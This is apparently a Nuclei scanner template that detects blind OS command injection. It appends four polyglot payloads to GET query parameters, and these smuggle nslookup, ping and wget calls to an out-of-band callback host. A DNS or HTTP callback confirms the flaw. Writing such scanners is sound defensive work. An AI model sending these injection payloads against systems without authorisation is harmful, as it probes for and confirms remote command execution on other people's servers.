cmdi-blind-oast-polyglot: Blind OS Command Injection

id: cmdi-blind-oast-polyglot

info:
  name: Blind OS Command Injection
  author: pdteam,geeknik
  severity: high
  description: |
    Potential blind OS command injection vulnerabilities, where the application constructs OS commands using unsanitized user input.
    Successful exploitation could lead to arbitrary command execution on the system.
  reference:
    - https://portswigger.net/research/hunting-asynchronous-vulnerabilities
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
  metadata:
    max-request: 4
  tags: cmdi,oast,dast,blind,polyglot,vuln

variables:
  marker: "{{interactsh-url}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      payload:
        - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
        - "1;nslookup${IFS}{{marker}};#${IFS}';nslookup${IFS}{{marker}};#${IFS}\";nslookup${IFS}{{marker}};#${IFS}"
        - "/*$(nslookup {{marker}})`nslookup {{marker}}``*/-nslookup({{marker}})-'/*$(nslookup {{marker}})`nslookup {{marker}}` #*/-nslookup({{marker}})||'\"||nslookup({{marker}})||\"/*`*/"
        - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{payload}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.